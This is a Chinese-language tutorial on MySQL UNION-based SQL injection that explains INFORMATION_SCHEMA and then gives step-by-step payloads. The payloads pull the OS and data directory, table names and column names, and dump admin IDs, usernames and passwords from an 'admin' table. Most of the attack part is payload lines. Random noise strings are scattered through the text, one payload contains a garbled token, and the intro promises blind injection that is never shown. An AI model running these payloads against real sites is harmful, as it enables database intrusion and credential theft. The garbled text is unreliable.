mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
& \, r; t3 V4 \" Z1 v! H: G5 q存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称

9 s6 @# T4 h6 A1 [|TABLES ->存储表名
+ a+ d# b$ ?( q& _& w+ j|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
. }/ O5 z, n% P, T9 o+ F) i" H
+ M; o( s3 Z* h+ Z  X8 b3 }|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
* A5 S( {+ h( w1 K" \, u|---字段：TABLE_NAME ->存储所属表的名称
. j& o$ c, n5 p9 ^7 P
|---字段：COLUMN_NAME ->该字段的名称


3 ~5 A: q1 A/ c0 f7 ?3 T
/ `4 p! Z$ J0 P" I3 \6 d2 t% `! v###########################################################################

0x001 获取系统信息:
; X7 t; r! _# i  N2 A1 X
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
; g  T( ~( ^8 H9 K+ u
1 [- P8 N4 r7 \4 H/*
- ^+ V# O" v% B
. b6 }9 h! `" m# B@@global.version_compile_os 获取系统版本
( f% B* W0 m/ S  T
" `# I: Y8 h! v@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

*/


' G* P* J" n+ V1 D) I6 X8 J3 ~3 M
######################################################################
; W* L- j5 q& K0 C) o) A) y
0x002 获取表名
2 ?$ d$ d* T" ^  }4 h6 d( B$ B
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
1 c& B5 \5 j9 Y* n


3 t& f4 ], P, `- i  ~6 Y/*

+ G" h7 I  A6 p) L3 e0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
$ c) }- B6 M( U1 Q
*/

; j9 P; J; z$ y( n, V: b######################################################################

  s0 {: q6 L9 D8 b

4 H0 J& a% `  U% p% F0x003 获取字段
8 e/ w! C/ L) i7 w
$ j0 W0 R) G: [5 h" L4 N2 p+ munion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
0 V, }6 G7 I# X1 W( x: \  t- [5 Q
& o( [/ a% |$ [9 M" y/*
+ n3 [' V+ V3 x- T
0 X  y( j0 s9 }' Sgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
$ ]- o" R, F9 p! @8 F5 z
0 L7 y3 j7 N3 L' X0x61646d696e ->选择一个表

0x67617264656e ->数据库名
, q4 e3 z! y. a( ]4 p6 w  C
2 T! V) z* ~( Z+ }  [*/
& X  H# X7 h# _  S, Q- j
/ o4 p3 v7 ^2 n2 C. X2 w' ^#####################################################################

+ k2 H, C; |7 L% i# X* L. t7 r! d
& }$ s# C3 t) S! ]: g$ ]
% g( t# _! `3 ~& s" G0x004 获取数据
6 X! X- M( l! _5 h8 q6 B0 ?
; }# a8 ]% t$ A2 [& k: hunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
  }" a3 i# H  ?2 L! N, t' W
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


8 F; U" `5 U) O: D( r) D. |, a6 o
/*

0x3c62723e 换行符号HEX编码

) w- H7 L5 T6 ]( }, s2 ~3 Z. ~1 Xgroup_concat 同时获得该字段所有数据

*/